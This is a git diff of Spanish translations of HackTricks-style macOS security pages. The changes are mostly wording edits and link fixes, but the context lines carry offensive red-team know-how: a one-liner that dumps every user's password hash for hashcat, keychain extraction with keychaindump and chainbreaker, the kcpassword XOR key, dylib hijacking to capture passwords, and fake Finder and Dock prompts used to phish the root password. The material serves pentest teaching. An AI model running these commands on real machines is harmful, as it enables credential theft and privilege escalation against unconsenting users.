@ -1512,16 +1512,16 @@ Escritura: [https://theevilbit.github.io/beyond/beyond_0018/](https://theevilbit
|
||||
|
||||
#### Descripción y Explotación
|
||||
|
||||
XQuartz **ya no está instalado en macOS**, así que si quieres más información consulta la escritura.
|
||||
XQuartz **ya no está instalado en macOS**, así que si quieres más información, consulta la escritura.
|
||||
|
||||
### ~~kext~~
|
||||
|
||||
> [!CAUTION]
|
||||
> Es tan complicado instalar kext incluso como root que no lo consideraré para escapar de sandboxes o incluso para persistencia (a menos que tengas un exploit)
|
||||
> Es tan complicado instalar kext incluso como root que no consideraré esto para escapar de sandboxes o incluso para persistencia (a menos que tengas un exploit)
|
||||
|
||||
#### Ubicación
|
||||
|
||||
Para instalar un KEXT como un elemento de inicio, necesita ser **instalado en una de las siguientes ubicaciones**:
|
||||
Para instalar un KEXT como un elemento de inicio, debe ser **instalado en una de las siguientes ubicaciones**:
|
||||
|
||||
- `/System/Library/Extensions`
|
||||
- Archivos KEXT integrados en el sistema operativo OS X.
|
||||
@ -1536,7 +1536,7 @@ kextload -b com.apple.driver.ExampleBundle #Load a new one based on path
|
||||
kextunload /path/to/kext.kext
|
||||
kextunload -b com.apple.driver.ExampleBundle
|
||||
```
|
||||
Para más información sobre [**extensiones del kernel, consulta esta sección**](macos-security-and-privilege-escalation/mac-os-architecture/#i-o-kit-drivers).
|
||||
Para más información sobre [**extensiones del kernel, consulta esta sección**](macos-security-and-privilege-escalation/mac-os-architecture/index.html#i-o-kit-drivers).
|
||||
|
||||
### ~~amstoold~~
|
||||
|
||||
@ -1549,7 +1549,7 @@ Escritura: [https://theevilbit.github.io/beyond/beyond_0029/](https://theevilbit
|
||||
|
||||
#### Descripción y explotación
|
||||
|
||||
Aparentemente, el `plist` de `/System/Library/LaunchAgents/com.apple.amstoold.plist` estaba utilizando este binario mientras exponía un servicio XPC... el problema es que el binario no existía, así que podrías colocar algo allí y cuando se llame al servicio XPC, tu binario será llamado.
|
||||
Aparentemente, el `plist` de `/System/Library/LaunchAgents/com.apple.amstoold.plist` estaba utilizando este binario mientras exponía un servicio XPC... el problema es que el binario no existía, así que podrías colocar algo allí y cuando se llame al servicio XPC, se llamará a tu binario.
|
||||
|
||||
Ya no puedo encontrar esto en mi macOS.
|
||||
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## Introducción
|
||||
|
||||
Como [**se comentó anteriormente**](./#what-is-mdm-mobile-device-management)**,** para intentar inscribir un dispositivo en una organización **solo se necesita un Número de Serie que pertenezca a esa Organización**. Una vez que el dispositivo está inscrito, varias organizaciones instalarán datos sensibles en el nuevo dispositivo: certificados, aplicaciones, contraseñas de WiFi, configuraciones de VPN [y así sucesivamente](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf).\
|
||||
Como [**se comentó anteriormente**](#what-is-mdm-mobile-device-management)**,** para intentar inscribir un dispositivo en una organización **solo se necesita un Número de Serie que pertenezca a esa Organización**. Una vez que el dispositivo está inscrito, varias organizaciones instalarán datos sensibles en el nuevo dispositivo: certificados, aplicaciones, contraseñas de WiFi, configuraciones de VPN [y así sucesivamente](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf).\
|
||||
Por lo tanto, este podría ser un punto de entrada peligroso para los atacantes si el proceso de inscripción no está correctamente protegido.
|
||||
|
||||
**A continuación se presenta un resumen de la investigación [https://duo.com/labs/research/mdm-me-maybe](https://duo.com/labs/research/mdm-me-maybe). ¡Consúltalo para más detalles técnicos!**
|
||||
@ -17,7 +17,7 @@ Esta investigación profundiza en los binarios asociados con el Programa de Insc
|
||||
- **`profiles`**: Gestiona los Perfiles de Configuración y activa los registros de DEP en versiones de macOS 10.13.4 y posteriores.
|
||||
- **`cloudconfigurationd`**: Gestiona las comunicaciones de la API de DEP y recupera los perfiles de Inscripción de Dispositivos.
|
||||
|
||||
Los registros de DEP utilizan las funciones `CPFetchActivationRecord` y `CPGetActivationRecord` del marco privado de Perfiles de Configuración para obtener el Registro de Activación, con `CPFetchActivationRecord` coordinándose con `cloudconfigurationd` a través de XPC.
|
||||
Los registros de DEP utilizan las funciones `CPFetchActivationRecord` y `CPGetActivationRecord` del marco privado de Perfiles de Configuración para obtener el Registro de Activación, siendo `CPFetchActivationRecord` el que coordina con `cloudconfigurationd` a través de XPC.
|
||||
|
||||
## Ingeniería Inversa del Protocolo Tesla y Esquema Absinthe
|
||||
|
||||
|
||||
@ -1,4 +1,4 @@
|
||||
# Seguridad de macOS y Escalación de Privilegios
|
||||
# Seguridad y Escalación de Privilegios en macOS
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -79,7 +79,7 @@ Para este tipo de vulnerabilidades, no olvides **verificar instaladores `.pkg` v
|
||||
macos-files-folders-and-binaries/macos-installers-abuse.md
|
||||
{{#endref}}
|
||||
|
||||
### Manejadores de Aplicaciones de Extensión de Archivo y Esquema de URL
|
||||
### Controladores de Aplicaciones de Extensión de Archivo y Esquema de URL
|
||||
|
||||
Aplicaciones extrañas registradas por extensiones de archivo podrían ser abusadas y diferentes aplicaciones pueden registrarse para abrir protocolos específicos.
|
||||
|
||||
@ -87,7 +87,7 @@ Aplicaciones extrañas registradas por extensiones de archivo podrían ser abusa
|
||||
macos-file-extension-apps.md
|
||||
{{#endref}}
|
||||
|
||||
## Escalación de Privilegios TCC / SIP de macOS
|
||||
## Escalación de Privilegios TCC / SIP en macOS
|
||||
|
||||
En macOS, **las aplicaciones y binarios pueden tener permisos** para acceder a carpetas o configuraciones que los hacen más privilegiados que otros.
|
||||
|
||||
@ -95,9 +95,9 @@ Por lo tanto, un atacante que quiera comprometer con éxito una máquina macOS n
|
||||
|
||||
Estos privilegios generalmente se otorgan en forma de **derechos** con los que la aplicación está firmada, o la aplicación podría solicitar algunos accesos y después de que el **usuario los apruebe**, pueden encontrarse en las **bases de datos TCC**. Otra forma en que un proceso puede obtener estos privilegios es siendo un **hijo de un proceso** con esos **privilegios**, ya que generalmente son **heredados**.
|
||||
|
||||
Sigue estos enlaces para encontrar diferentes formas de [**escalar privilegios en TCC**](macos-security-protections/macos-tcc/#tcc-privesc-and-bypasses), para [**eludir TCC**](macos-security-protections/macos-tcc/macos-tcc-bypasses/) y cómo en el pasado [**se ha eludido SIP**](macos-security-protections/macos-sip.md#sip-bypasses).
|
||||
Sigue estos enlaces para encontrar diferentes formas de [**escalar privilegios en TCC**](macos-security-protections/macos-tcc/index.html#tcc-privesc-and-bypasses), para [**eludir TCC**](macos-security-protections/macos-tcc/macos-tcc-bypasses/) y cómo en el pasado [**se ha eludido SIP**](macos-security-protections/macos-sip.md#sip-bypasses).
|
||||
|
||||
## Escalación de Privilegios Tradicional de macOS
|
||||
## Escalación de Privilegios Tradicional en macOS
|
||||
|
||||
Por supuesto, desde la perspectiva de un equipo rojo, también deberías estar interesado en escalar a root. Consulta la siguiente publicación para algunos consejos:
|
||||
|
||||
@ -111,7 +111,7 @@ macos-privilege-escalation.md
|
||||
|
||||
## Referencias
|
||||
|
||||
- [**OS X Incident Response: Scripting and Analysis**](https://www.amazon.com/OS-Incident-Response-Scripting-Analysis-ebook/dp/B01FHOHHVS)
|
||||
- [**Respuesta a Incidentes de OS X: Scripting y Análisis**](https://www.amazon.com/OS-Incident-Response-Scripting-Analysis-ebook/dp/B01FHOHHVS)
|
||||
- [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html)
|
||||
- [**https://github.com/NicolasGrimonpont/Cheatsheet**](https://github.com/NicolasGrimonpont/Cheatsheet)
|
||||
- [**https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ**](https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ)
|
||||
|
||||
@ -6,7 +6,7 @@
|
||||
|
||||
Crea un **dylib** con una sección **`__interpose`** (o una sección marcada con **`S_INTERPOSING`**) que contenga tuplas de **punteros de función** que se refieran a las funciones **original** y **reemplazo**.
|
||||
|
||||
Luego, **inyecta** el dylib con **`DYLD_INSERT_LIBRARIES`** (la interposición debe ocurrir antes de que se cargue la aplicación principal). Obviamente, las [**restricciones** aplicadas al uso de **`DYLD_INSERT_LIBRARIES`** también se aplican aquí](../macos-proces-abuse/macos-library-injection/#check-restrictions). 
|
||||
Luego, **inyecta** el dylib con **`DYLD_INSERT_LIBRARIES`** (la interposición debe ocurrir antes de que se cargue la aplicación principal). Obviamente, las [**restricciones** aplicadas al uso de **`DYLD_INSERT_LIBRARIES`** también se aplican aquí](../macos-proces-abuse/macos-library-injection/index.html#check-restrictions). 
|
||||
|
||||
### Interponer printf
|
||||
|
||||
@ -272,7 +272,7 @@ return 0;
|
||||
|
||||
En esta página se discutieron diferentes formas de enganchar funciones. Sin embargo, implicaron **ejecutar código dentro del proceso para atacar**.
|
||||
|
||||
Para hacer eso, la técnica más fácil de usar es inyectar un [Dyld a través de variables de entorno o secuestrando](../macos-dyld-hijacking-and-dyld_insert_libraries.md). Sin embargo, supongo que esto también podría hacerse a través de [inyección de procesos Dylib](macos-ipc-inter-process-communication/#dylib-process-injection-via-task-port).
|
||||
Para hacer eso, la técnica más fácil de usar es inyectar un [Dyld a través de variables de entorno o secuestrando](../macos-dyld-hijacking-and-dyld_insert_libraries.md). Sin embargo, supongo que esto también podría hacerse a través de [inyección de procesos Dylib](macos-ipc-inter-process-communication/index.html#dylib-process-injection-via-task-port).
|
||||
|
||||
Sin embargo, ambas opciones están **limitadas** a binarios/procesos **no protegidos**. Consulta cada técnica para aprender más sobre las limitaciones.
|
||||
|
||||
@ -286,14 +286,14 @@ Así que el vector del atacante sería encontrar una vulnerabilidad o eliminar l
|
||||
<string>/Applications/Application.app/Contents/malicious.dylib</string>
|
||||
</dict>
|
||||
```
|
||||
y luego **volver a registrar** la aplicación:
|
||||
y luego **re-registrar** la aplicación:
|
||||
```bash
|
||||
/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -f /Applications/Application.app
|
||||
```
|
||||
Agrega en esa biblioteca el código de hooking para exfiltrar la información: Contraseñas, mensajes...
|
||||
|
||||
> [!CAUTION]
|
||||
> Ten en cuenta que en versiones más recientes de macOS, si **eliminaste la firma** del binario de la aplicación y se ejecutó previamente, macOS **ya no ejecutará la aplicación**.
|
||||
> Ten en cuenta que en versiones más recientes de macOS, si **eliminaste la firma** del binario de la aplicación y se ejecutó previamente, macOS **ya no ejecutará la aplicación**.
|
||||
|
||||
#### Ejemplo de biblioteca
|
||||
```objectivec
|
||||
|
||||
@ -8,9 +8,9 @@ El I/O Kit es un **framework de controladores de dispositivos** de código abier
|
||||
|
||||
Los controladores de IOKit básicamente **exportan funciones del núcleo**. Estos parámetros de función son **predefinidos** y son verificados. Además, similar a XPC, IOKit es solo otra capa sobre **los mensajes de Mach**.
|
||||
|
||||
El **código del núcleo XNU de IOKit** es de código abierto por Apple en [https://github.com/apple-oss-distributions/xnu/tree/main/iokit](https://github.com/apple-oss-distributions/xnu/tree/main/iokit). Además, los componentes de IOKit en el espacio de usuario también son de código abierto [https://github.com/opensource-apple/IOKitUser](https://github.com/opensource-apple/IOKitUser).
|
||||
El **código del núcleo IOKit XNU** es de código abierto por Apple en [https://github.com/apple-oss-distributions/xnu/tree/main/iokit](https://github.com/apple-oss-distributions/xnu/tree/main/iokit). Además, los componentes de IOKit en el espacio de usuario también son de código abierto [https://github.com/opensource-apple/IOKitUser](https://github.com/opensource-apple/IOKitUser).
|
||||
|
||||
Sin embargo, **ningún controlador de IOKit** es de código abierto. De todos modos, de vez en cuando, un lanzamiento de un controlador puede venir con símbolos que facilitan su depuración. Consulta cómo [**obtener las extensiones del controlador del firmware aquí**](./#ipsw)**.**
|
||||
Sin embargo, **ningún controlador de IOKit** es de código abierto. De todos modos, de vez en cuando, un lanzamiento de un controlador puede venir con símbolos que facilitan su depuración. Consulta cómo [**obtener las extensiones del controlador del firmware aquí**](#ipsw)**.**
|
||||
|
||||
Está escrito en **C++**. Puedes obtener símbolos C++ demangled con:
|
||||
```bash
|
||||
@ -23,7 +23,7 @@ __ZN16IOUserClient202222dispatchExternalMethodEjP31IOExternalMethodArgumentsOpaq
|
||||
IOUserClient2022::dispatchExternalMethod(unsigned int, IOExternalMethodArgumentsOpaque*, IOExternalMethodDispatch2022 const*, unsigned long, OSObject*, void*)
|
||||
```
|
||||
> [!CAUTION]
|
||||
> IOKit **funciones expuestas** podrían realizar **verificaciones de seguridad adicionales** cuando un cliente intenta llamar a una función, pero ten en cuenta que las aplicaciones suelen estar **limitadas** por el **sandbox** con el que pueden interactuar las funciones de IOKit.
|
||||
> Las **funciones expuestas** de IOKit podrían realizar **verificaciones de seguridad adicionales** cuando un cliente intenta llamar a una función, pero ten en cuenta que las aplicaciones suelen estar **limitadas** por el **sandbox** con el que pueden interactuar las funciones de IOKit.
|
||||
|
||||
## Controladores
|
||||
|
||||
@ -61,7 +61,7 @@ Para encontrar extensiones específicas, puedes usar:
|
||||
kextfind -bundle-id com.apple.iokit.IOReportFamily #Search by full bundle-id
|
||||
kextfind -bundle-id -substring IOR #Search by substring in bundle-id
|
||||
```
|
||||
Para cargar y descargar extensiones del kernel, haz lo siguiente:
|
||||
Para cargar y descargar extensiones del kernel, haz:
|
||||
```bash
|
||||
kextload com.apple.iokit.IOReportFamily
|
||||
kextunload com.apple.iokit.IOReportFamily
|
||||
@ -70,13 +70,13 @@ kextunload com.apple.iokit.IOReportFamily
|
||||
|
||||
El **IORegistry** es una parte crucial del marco IOKit en macOS e iOS que sirve como una base de datos para representar la configuración y el estado del hardware del sistema. Es una **colección jerárquica de objetos que representan todo el hardware y los controladores** cargados en el sistema, y sus relaciones entre sí.
|
||||
|
||||
Puedes obtener el IORegistry usando la cli **`ioreg`** para inspeccionarlo desde la consola (especialmente útil para iOS).
|
||||
Puedes obtener el IORegistry usando el cli **`ioreg`** para inspeccionarlo desde la consola (especialmente útil para iOS).
|
||||
```bash
|
||||
ioreg -l #List all
|
||||
ioreg -w 0 #Not cut lines
|
||||
ioreg -p <plane> #Check other plane
|
||||
```
|
||||
Puedes descargar **`IORegistryExplorer`** de **Xcode Additional Tools** desde [**https://developer.apple.com/download/all/**](https://developer.apple.com/download/all/) e inspeccionar el **macOS IORegistry** a través de una interfaz **gráfica**.
|
||||
Podrías descargar **`IORegistryExplorer`** de **Xcode Additional Tools** desde [**https://developer.apple.com/download/all/**](https://developer.apple.com/download/all/) e inspeccionar el **macOS IORegistry** a través de una interfaz **gráfica**.
|
||||
|
||||
<figure><img src="../../../images/image (1167).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
@ -150,11 +150,11 @@ IOObjectRelease(iter);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Hay **otras** funciones que se pueden usar para llamar a las funciones de IOKit además de **`IOConnectCallScalarMethod`** como **`IOConnectCallMethod`**, **`IOConnectCallStructMethod`**...
|
||||
Hay **otras** funciones que se pueden usar para llamar a funciones de IOKit además de **`IOConnectCallScalarMethod`** como **`IOConnectCallMethod`**, **`IOConnectCallStructMethod`**...
|
||||
|
||||
## Invirtiendo el punto de entrada del controlador
|
||||
|
||||
Podrías obtener estos, por ejemplo, de una [**imagen de firmware (ipsw)**](./#ipsw). Luego, cárgalo en tu descompilador favorito.
|
||||
Podrías obtener estos, por ejemplo, de una [**imagen de firmware (ipsw)**](#ipsw). Luego, cárgalo en tu descompilador favorito.
|
||||
|
||||
Podrías comenzar a descompilar la función **`externalMethod`** ya que esta es la función del controlador que recibirá la llamada y llamará a la función correcta:
|
||||
|
||||
@ -188,7 +188,7 @@ Para el siguiente paso, necesitamos tener definida la estructura **`IOExternalMe
|
||||
|
||||
<figure><img src="../../../images/image (1170).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ahora, siguiendo el `(IOExternalMethodDispatch2022 *)&sIOExternalMethodArray` puedes ver muchos datos:
|
||||
Ahora, siguiendo el `(IOExternalMethodDispatch2022 *)&sIOExternalMethodArray`, puedes ver muchos datos:
|
||||
|
||||
<figure><img src="../../../images/image (1176).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
|
||||
@ -13,7 +13,7 @@ for l in /var/db/dslocal/nodes/Default/users/*; do if [ -r "$l" ];then echo "$l"
|
||||
```
|
||||
[**Scripts como este**](https://gist.github.com/teddziuba/3ff08bdda120d1f7822f3baf52e606c2) o [**este**](https://github.com/octomagon/davegrohl.git) se pueden usar para transformar el hash a **formato** **hashcat**.
|
||||
|
||||
Una línea alternativa que volcará las credenciales de todas las cuentas que no son de servicio en formato hashcat `-m 7100` (macOS PBKDF2-SHA512):
|
||||
Una alternativa de una sola línea que volcará las credenciales de todas las cuentas que no son de servicio en formato hashcat `-m 7100` (macOS PBKDF2-SHA512):
|
||||
```bash
|
||||
sudo bash -c 'for i in $(find /var/db/dslocal/nodes/Default/users -type f -regex "[^_]*"); do plutil -extract name.0 raw $i | awk "{printf \$0\":\$ml\$\"}"; for j in {iterations,salt,entropy}; do l=$(k=$(plutil -extract ShadowHashData.0 raw $i) && base64 -d <<< $k | plutil -extract SALTED-SHA512-PBKDF2.$j raw -); if [[ $j == iterations ]]; then echo -n $l; else base64 -d <<< $l | xxd -p -c 0 | awk "{printf \"$\"\$0}"; fi; done; echo ""; done'
|
||||
```
|
||||
@ -21,7 +21,7 @@ Otra forma de obtener el `ShadowHashData` de un usuario es usando `dscl`: `` sud
|
||||
|
||||
### /etc/master.passwd
|
||||
|
||||
Este archivo se **utiliza únicamente** cuando el sistema está funcionando en **modo de un solo usuario** (por lo que no es muy frecuente).
|
||||
Este archivo se **utiliza únicamente** cuando el sistema está funcionando en **modo de usuario único** (por lo que no es muy frecuente).
|
||||
|
||||
### Keychain Dump
|
||||
|
||||
@ -43,11 +43,11 @@ security dump-keychain -d #Dump all the info, included secrets (the user will be
|
||||
|
||||
Una herramienta llamada **keychaindump** ha sido desarrollada para extraer contraseñas de los llaveros de macOS, pero enfrenta limitaciones en versiones más nuevas de macOS como Big Sur, como se indica en una [discusión](https://github.com/juuso/keychaindump/issues/10#issuecomment-751218760). El uso de **keychaindump** requiere que el atacante obtenga acceso y escale privilegios a **root**. La herramienta explota el hecho de que el llavero está desbloqueado por defecto al iniciar sesión del usuario por conveniencia, permitiendo que las aplicaciones accedan a él sin requerir repetidamente la contraseña del usuario. Sin embargo, si un usuario opta por bloquear su llavero después de cada uso, **keychaindump** se vuelve ineficaz.
|
||||
|
||||
**Keychaindump** opera apuntando a un proceso específico llamado **securityd**, descrito por Apple como un demonio para operaciones de autorización y criptografía, crucial para acceder al llavero. El proceso de extracción implica identificar una **Master Key** derivada de la contraseña de inicio de sesión del usuario. Esta clave es esencial para leer el archivo del llavero. Para localizar la **Master Key**, **keychaindump** escanea el heap de memoria de **securityd** utilizando el comando `vmmap`, buscando posibles claves dentro de áreas marcadas como `MALLOC_TINY`. El siguiente comando se utiliza para inspeccionar estas ubicaciones de memoria:
|
||||
**Keychaindump** opera apuntando a un proceso específico llamado **securityd**, descrito por Apple como un demonio para operaciones de autorización y criptografía, crucial para acceder al llavero. El proceso de extracción implica identificar una **Clave Maestra** derivada de la contraseña de inicio de sesión del usuario. Esta clave es esencial para leer el archivo del llavero. Para localizar la **Clave Maestra**, **keychaindump** escanea el montón de memoria de **securityd** utilizando el comando `vmmap`, buscando posibles claves dentro de áreas marcadas como `MALLOC_TINY`. El siguiente comando se utiliza para inspeccionar estas ubicaciones de memoria:
|
||||
```bash
|
||||
sudo vmmap <securityd PID> | grep MALLOC_TINY
|
||||
```
|
||||
Después de identificar posibles claves maestras, **keychaindump** busca a través de los montones un patrón específico (`0x0000000000000018`) que indica un candidato para la clave maestra. Se requieren pasos adicionales, incluida la desofuscación, para utilizar esta clave, como se detalla en el código fuente de **keychaindump**. Los analistas que se centran en esta área deben tener en cuenta que los datos cruciales para descifrar el llavero se almacenan dentro de la memoria del proceso **securityd**. Un comando de ejemplo para ejecutar **keychaindump** es:
|
||||
Después de identificar posibles claves maestras, **keychaindump** busca a través de los montones un patrón específico (`0x0000000000000018`) que indica un candidato para la clave maestra. Se requieren pasos adicionales, incluida la deofuscación, para utilizar esta clave, como se detalla en el código fuente de **keychaindump**. Los analistas que se centran en esta área deben tener en cuenta que los datos cruciales para descifrar el llavero se almacenan dentro de la memoria del proceso **securityd**. Un comando de ejemplo para ejecutar **keychaindump** es:
|
||||
```bash
|
||||
sudo ./keychaindump
|
||||
```
|
||||
@ -64,7 +64,7 @@ sudo ./keychaindump
|
||||
- Notas seguras
|
||||
- Contraseñas de Appleshare
|
||||
|
||||
Dada la contraseña de desbloqueo del llavero, una clave maestra obtenida usando [volafox](https://github.com/n0fate/volafox) o [volatility](https://github.com/volatilityfoundation/volatility), o un archivo de desbloqueo como SystemKey, Chainbreaker también proporcionará contraseñas en texto claro.
|
||||
Dada la contraseña de desbloqueo del llavero, una clave maestra obtenida usando [volafox](https://github.com/n0fate/volafox) o [volatility](https://github.com/volatilityfoundation/volatility), o un archivo de desbloqueo como SystemKey, Chainbreaker también proporcionará contraseñas en texto plano.
|
||||
|
||||
Sin uno de estos métodos para desbloquear el llavero, Chainbreaker mostrará toda la otra información disponible.
|
||||
|
||||
@ -90,9 +90,9 @@ hashcat.exe -m 23100 --keep-guessing hashes.txt dictionary.txt
|
||||
# Use the key to decrypt the passwords
|
||||
python2.7 chainbreaker.py --dump-all --key 0293847570022761234562947e0bcd5bc04d196ad2345697 /Library/Keychains/System.keychain
|
||||
```
|
||||
#### **Volcar claves del llavero (con contraseñas) con un volcado de memoria**
|
||||
#### **Volcar claves del llavero (con contraseñas) con volcado de memoria**
|
||||
|
||||
[Sigue estos pasos](../#dumping-memory-with-osxpmem) para realizar un **volcado de memoria**
|
||||
[Sigue estos pasos](../index.html#dumping-memory-with-osxpmem) para realizar un **volcado de memoria**
|
||||
```bash
|
||||
#Use volafox (https://github.com/n0fate/volafox) to extract possible keychain passwords
|
||||
# Unformtunately volafox isn't working with the latest versions of MacOS
|
||||
@ -110,7 +110,7 @@ python2.7 chainbreaker.py --dump-all --password-prompt /Users/<username>/Library
|
||||
```
|
||||
### kcpassword
|
||||
|
||||
El archivo **kcpassword** es un archivo que contiene la **contraseña de inicio de sesión del usuario**, pero solo si el propietario del sistema ha **activado el inicio de sesión automático**. Por lo tanto, el usuario iniciará sesión automáticamente sin que se le pida una contraseña (lo cual no es muy seguro).
|
||||
El archivo **kcpassword** es un archivo que contiene la **contraseña de inicio de sesión del usuario**, pero solo si el propietario del sistema ha **activado el inicio de sesión automático**. Por lo tanto, el usuario se iniciará sesión automáticamente sin que se le pida una contraseña (lo cual no es muy seguro).
|
||||
|
||||
La contraseña se almacena en el archivo **`/etc/kcpassword`** xored con la clave **`0x7D 0x89 0x52 0x23 0xD2 0xBC 0xDD 0xEA 0xA3 0xB9 0x1F`**. Si la contraseña del usuario es más larga que la clave, la clave se reutilizará.\
|
||||
Esto hace que la contraseña sea bastante fácil de recuperar, por ejemplo, utilizando scripts como [**este**](https://gist.github.com/opshope/32f65875d45215c3677d).
|
||||
@ -129,7 +129,7 @@ sqlite3 $HOME/Suggestions/snippets.db 'select * from emailSnippets'
|
||||
|
||||
Puedes encontrar los datos de Notificaciones en `$(getconf DARWIN_USER_DIR)/com.apple.notificationcenter/`
|
||||
|
||||
La mayor parte de la información interesante estará en **blob**. Así que necesitarás **extraer** ese contenido y **transformarlo** a **legible** **por humanos** o usar **`strings`**. Para acceder a ello, puedes hacer:
|
||||
La mayor parte de la información interesante estará en **blob**. Así que necesitarás **extraer** ese contenido y **transformarlo** a un formato **legible** por **humanos** o usar **`strings`**. Para acceder a ello, puedes hacer:
|
||||
```bash
|
||||
cd $(getconf DARWIN_USER_DIR)/com.apple.notificationcenter/
|
||||
strings $(getconf DARWIN_USER_DIR)/com.apple.notificationcenter/db2/db | grep -i -A4 slack
|
||||
@ -151,7 +151,7 @@ En macOS, la herramienta de línea de comandos **`defaults`** se puede usar para
|
||||
|
||||
**`/usr/sbin/cfprefsd`** reclama los servicios XPC `com.apple.cfprefsd.daemon` y `com.apple.cfprefsd.agent` y se puede llamar para realizar acciones como modificar preferencias.
|
||||
|
||||
## OpenDirectory permissions.plist
|
||||
## permisos.plist de OpenDirectory
|
||||
|
||||
El archivo `/System/Library/OpenDirectory/permissions.plist` contiene permisos aplicados a los atributos de nodo y está protegido por SIP.\
|
||||
Este archivo otorga permisos a usuarios específicos por UUID (y no por uid) para que puedan acceder a información sensible específica como `ShadowHashData`, `HeimdalSRPKey` y `KerberosKeys`, entre otros:
|
||||
@ -217,7 +217,7 @@ El **Distributed Notification Center** cuyo binario principal es **`/usr/sbin/di
|
||||
|
||||
### Apple Push Notifications (APN)
|
||||
|
||||
En este caso, las aplicaciones pueden registrarse para **temas**. El cliente generará un token contactando los servidores de Apple a través de **`apsd`**.\
|
||||
En este caso, las aplicaciones pueden registrarse para **temas**. El cliente generará un token contactando a los servidores de Apple a través de **`apsd`**.\
|
||||
Luego, los proveedores también habrán generado un token y podrán conectarse a los servidores de Apple para enviar mensajes a los clientes. Estos mensajes serán recibidos localmente por **`apsd`** que retransmitirá la notificación a la aplicación que la espera.
|
||||
|
||||
Las preferencias se encuentran en `/Library/Preferences/com.apple.apsd.plist`.
|
||||
|
||||
@ -22,7 +22,7 @@ Ten en cuenta que **la mayoría de los trucos sobre escalación de privilegios q
|
||||
|
||||
### Secuestro de Sudo
|
||||
|
||||
Puedes encontrar la técnica original de [Secuestro de Sudo dentro de la publicación de Escalación de Privilegios en Linux](../../linux-hardening/privilege-escalation/#sudo-hijacking).
|
||||
Puedes encontrar la técnica original de [Secuestro de Sudo dentro de la publicación de Escalación de Privilegios en Linux](../../linux-hardening/privilege-escalation/index.html#sudo-hijacking).
|
||||
|
||||
Sin embargo, macOS **mantiene** el **`PATH`** del usuario cuando ejecuta **`sudo`**. Lo que significa que otra forma de lograr este ataque sería **secuestro de otros binarios** que la víctima aún ejecutará al **usar sudo:**
|
||||
```bash
|
||||
@ -124,7 +124,7 @@ killall Dock
|
||||
{{#tab name="Imitación de Finder"}}
|
||||
Algunas sugerencias:
|
||||
|
||||
- No **puedes eliminar Finder del Dock**, así que si vas a añadirlo al Dock, podrías poner el Finder falso justo al lado del real. Para esto necesitas **añadir la entrada del Finder falso al principio del array del Dock**.
|
||||
- No **puedes quitar Finder del Dock**, así que si vas a añadirlo al Dock, podrías poner el Finder falso justo al lado del real. Para esto necesitas **agregar la entrada del Finder falso al principio del array del Dock**.
|
||||
- Otra opción es no colocarlo en el Dock y simplemente abrirlo, "Finder pidiendo controlar Finder" no es tan raro.
|
||||
- Otra opción para **escalar a root sin pedir** la contraseña con una horrible ventana, es hacer que Finder realmente pida la contraseña para realizar una acción privilegiada:
|
||||
- Pedir a Finder que copie a **`/etc/pam.d`** un nuevo archivo **`sudo`** (El aviso pidiendo la contraseña indicará que "Finder quiere copiar sudo")
|
||||
@ -201,9 +201,9 @@ killall Dock
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
## TCC - Escalación de Privilegios de Root
|
||||
## TCC - Escalación de privilegios de root
|
||||
|
||||
### CVE-2020-9771 - bypass de TCC en mount_apfs y escalación de privilegios
|
||||
### CVE-2020-9771 - bypass de TCC de mount_apfs y escalación de privilegios
|
||||
|
||||
**Cualquier usuario** (incluso los que no tienen privilegios) puede crear y montar un snapshot de Time Machine y **acceder a TODOS los archivos** de ese snapshot.\
|
||||
El **único privilegio** necesario es que la aplicación utilizada (como `Terminal`) tenga acceso **Full Disk Access** (FDA) (`kTCCServiceSystemPolicyAllfiles`), lo cual debe ser concedido por un administrador.
|
||||
|
||||
@ -6,7 +6,7 @@
|
||||
|
||||
Crea un **dylib** con una sección **`__interpose` (`__DATA___interpose`)** (o una sección marcada con **`S_INTERPOSING`**) que contenga tuplas de **punteros de función** que se refieran a las funciones **original** y **reemplazo**.
|
||||
|
||||
Luego, **inyecta** el dylib con **`DYLD_INSERT_LIBRARIES`** (la interposición debe ocurrir antes de que se cargue la aplicación principal). Obviamente, las [**restricciones** aplicadas al uso de **`DYLD_INSERT_LIBRARIES`** también se aplican aquí](macos-library-injection/#check-restrictions).
|
||||
Luego, **inyecta** el dylib con **`DYLD_INSERT_LIBRARIES`** (la interposición debe ocurrir antes de que se cargue la aplicación principal). Obviamente, las [**restricciones** aplicadas al uso de **`DYLD_INSERT_LIBRARIES`** también se aplican aquí](macos-library-injection/index.html#check-restrictions).
|
||||
|
||||
### Interponer printf
|
||||
|
||||
@ -106,7 +106,7 @@ El objeto es **`someObject`**, el método es **`@selector(method1p1:p2:)`** y lo
|
||||
Siguiendo las estructuras de objetos, es posible acceder a un **array de métodos** donde se **ubican** los **nombres** y **punteros** al código del método.
|
||||
|
||||
> [!CAUTION]
|
||||
> Tenga en cuenta que, dado que los métodos y clases se acceden en función de sus nombres, esta información se almacena en el binario, por lo que es posible recuperarla con `otool -ov </path/bin>` o [`class-dump </path/bin>`](https://github.com/nygard/class-dump)
|
||||
> Tenga en cuenta que, dado que los métodos y las clases se acceden en función de sus nombres, esta información se almacena en el binario, por lo que es posible recuperarla con `otool -ov </path/bin>` o [`class-dump </path/bin>`](https://github.com/nygard/class-dump)
|
||||
|
||||
### Accessing the raw methods
|
||||
|
||||
@ -226,7 +226,7 @@ return 0;
|
||||
}
|
||||
```
|
||||
> [!WARNING]
|
||||
> En este caso, si el **código de implementación del método legítimo** **verifica** el **nombre del método**, podría **detectar** este swizzling y evitar que se ejecute.
|
||||
> En este caso, si el **código de implementación del método legítimo** **verifica** el **nombre del método**, podría **detectar** este swizzling y prevenir que se ejecute.
|
||||
>
|
||||
> La siguiente técnica no tiene esta restricción.
|
||||
|
||||
